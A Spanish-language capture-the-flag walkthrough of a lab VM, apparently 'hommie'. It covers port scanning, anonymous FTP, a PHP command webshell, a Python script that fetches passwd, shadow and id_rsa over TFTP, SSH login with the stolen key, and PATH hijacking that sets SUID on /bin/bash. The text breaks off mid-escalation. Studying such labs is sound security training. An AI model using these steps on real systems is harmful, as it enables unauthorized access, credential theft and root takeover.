Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 12:58 EDT
Nmap scan report for 192.168.28.20
Host is up (0.00066s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.28.19
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 0 Sep 30 2020 index.html
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA)
| 256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA)
|_ 256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:F3:9F:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Vemos varios puertos interesantes, entre ellos el FTP y el puerto 80, vamos a probar a intentar meternos por el FTP de forma anonima.
FTP
ftp anonymous@<IP>
Si dejamos la contraseña en blanco veremos que si nos deja y entraremos en el servidor de FTP, si listamos el contenido veremos lo siguiente:
Vemos ya una idea de lo que puede ser, si nos pasamos el primer index.html veremos que esta vacio, pero si entramos a .web/ veremos otro index.html que si nos lo pasamos a nuestro host:
cd .web/
get index.html
Info:
alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody
Y vemos que contiene, veremos el mismo texto que en la pagina web del puerto 80, por lo que se nos ocurre subir un archivo .php para generarnos una reverse shell:
webshell.php
<?php system($_GET['cmd']); ?>
Ahora vamos a subir este archivo a la carpeta .web/ del servidor FTP de la siguiente forma:
put webshell.php
Si nos vamos a la pagina web del puerto 80 y ponemos lo siguiente para probar:
URL = http://<IP>/webshell.php?cmd=whoami
Pero veremos que no funciona, posiblemente por que no tenga PHP instalado, por lo que vamos a realizar un poco mas de fuzzing.
Nmap (UDP)
Tras investigar mucho si probamos a enumerar los puertos por UDP en vez de por TCP veremos lo siguiente:
nmap -sU --open -Pn -n -v <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-22 13:21 EDT
Initiating ARP Ping Scan at 13:21
Scanning 192.168.28.20 [1 port]
Completed ARP Ping Scan at 13:21, 0.06s elapsed (1 total hosts)
Initiating UDP Scan at 13:21
Scanning 192.168.28.20 [1000 ports]
Increasing send delay for 192.168.28.20 from 0 to 50 due to max_successful_tryno increase to 4
Increasing send delay for 192.168.28.20 from 50 to 100 due to max_successful_tryno increase to 5
Increasing send delay for 192.168.28.20 from 100 to 200 due to max_successful_tryno increase to 6
Increasing send delay for 192.168.28.20 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
UDP Scan Timing: About 4.51% done; ETC: 13:32 (0:10:56 remaining)
Increasing send delay for 192.168.28.20 from 400 to 800 due to 11 out of 12 dropped probes since last increase.
UDP Scan Timing: About 7.17% done; ETC: 13:35 (0:13:09 remaining)
UDP Scan Timing: About 27.70% done; ETC: 13:38 (0:12:24 remaining)
UDP Scan Timing: About 32.77% done; ETC: 13:38 (0:11:29 remaining)
UDP Scan Timing: About 38.45% done; ETC: 13:38 (0:10:34 remaining)
UDP Scan Timing: About 44.02% done; ETC: 13:38 (0:09:40 remaining)
UDP Scan Timing: About 49.50% done; ETC: 13:38 (0:08:43 remaining)
UDP Scan Timing: About 54.81% done; ETC: 13:38 (0:07:50 remaining)
UDP Scan Timing: About 59.90% done; ETC: 13:38 (0:06:58 remaining)
UDP Scan Timing: About 65.16% done; ETC: 13:38 (0:06:04 remaining)
UDP Scan Timing: About 70.28% done; ETC: 13:38 (0:05:11 remaining)
UDP Scan Timing: About 75.31% done; ETC: 13:38 (0:04:18 remaining)
UDP Scan Timing: About 80.53% done; ETC: 13:38 (0:03:24 remaining)
UDP Scan Timing: About 85.80% done; ETC: 13:38 (0:02:29 remaining)
UDP Scan Timing: About 90.92% done; ETC: 13:39 (0:01:36 remaining)
UDP Scan Timing: About 95.96% done; ETC: 13:39 (0:00:43 remaining)
Completed UDP Scan at 13:39, 1083.74s elapsed (1000 total ports)
Nmap scan report for 192.168.28.20
Host is up (0.00067s latency).
Not shown: 998 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:F3:9F:7C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1084.34 seconds
Raw packets sent: 1394 (64.172KB) | Rcvd: 1086 (78.924KB)
Veremos que por UDP tenemos los puertos tftp y dhcpc, pero el que mas nos interesa es el de tftp, por lo que haremos lo siguiente:
tftp <IP>
Y veremos que funciona, estaremos dentro, pero no podremos listar ni nada de eso, por lo que vamos a realizar un poco de escaneo probando suerte con nombre de archivos que pueden ser importantes si estuvieran en el directorio.
scannTFTP.py
#!/bin/python3
import os
import subprocess
tftp_server = "192.168.28.20"
wordlist = [
"user.txt", "root.txt", "hosts", "config.txt", "backup.conf", "index.html",
"robots.txt", "passwd", "shadow", "startup-config", "network.conf",
"id_rsa", "id_rsa.pub", ".bashrc"
]
for filename in wordlist:
print(f"[+] Intentando descargar: {filename}")
try:
result = subprocess.run(
["tftp", tftp_server, "-c", "get", filename],
capture_output=True,
timeout=2 # ⏱️ Si tarda más de 2 segundos, salta TimeoutExpired
)
if b"Error" not in result.stdout and os.path.exists(filename):
print(f" [✓] {filename} descargado.")
else:
print(f" [-] No disponible o acceso denegado.")
except subprocess.TimeoutExpired:
print(f" [✗] Timeout: {filename} tardó demasiado (posible archivo inexistente).")
except Exception as e:
print(f" [!] Error con {filename}: {e}")
Pero recordemos que cuando entramos en la pagina nos pone esto:
alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody
Por lo que podremos deducir que puede haber algun id_rsa, pero probaremos a utilizar el script por si descubrieramos algo mas.
Vemos que el unico que funciono es el de id_rsa, por lo que vamos a probar dicha clave con el usuario alexia ya que comenta en la pagina que es su id_rsa.
Escalate user alexia
SSH
Establecemos los permisos necesarios para la clave PEM:
chmod 600 id_rsa
Ahora si vamos a probar a conectarnos por SSH:
ssh -i id_rsa alexia@<IP>
Info:
The authenticity of host '192.168.28.20 (192.168.28.20)' can't be established.
ED25519 key fingerprint is SHA256:v3AMNdrxbep3tZ0By0ik1/V+ZHj5ZuiffVZSnafj2YA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.28.20' (ED25519) to the list of known hosts.
Linux hommie 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Sep 30 11:06:15 2020
alexia@hommie:~$ whoami
alexia
Veremos que ha funcionado, por lo que leeremos la flag del usuario.
user.txt
Imnotroot
Escalate Privileges
Si probamos a listar los permisos SUID del usuario, veremos lo siguiente:
Vemos que nos esta mostrando un id_rsa pero sera el mismo que utilizamos para meternos en la maquina, por lo que vamos a pasarnos el binario a nuestra maquina host y decompilarlo con la herramienta ghidra:
python3 -m http.server
En la maquina host haremos lo siguiente:
wget http://<IP_VICTIM>:8000/showMetheKey
Una vez que lo tengamos dentro, abriremos la herramienta ghudra crearemos un proyecto nuevo e importaremos el binario showMetheKey para verlo en C#, si nos vamos a la funcion main veremos lo siguiente:
Vemos que se esta ejecutando como root de forma interna y que esta leyendo simplemente la id_rsa del usuario con el que nos hemos metido, pero vemos un fallo y es que utiliza cat con una ruta relativa y no absoluta encima podemos ejecutarlo como el usuario root por lo que podremos realizar una tecnica llamada PATH hijacking/binary hijacking, por lo que haremos lo siguiente:
Vamos a crear un script que ponga permisos SUID a la bash de la siguiente forma:
nano /tmp/cat
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
echo "Permisos establecidos de forma correcta!"
Lo guardamos y ahora vamos a modificar el PATH para que cuando lo ejecutemos es ejecute como root el script llamado cat por lo que tendremos que poner que primero vaya a la ruta /tmp para que funcione: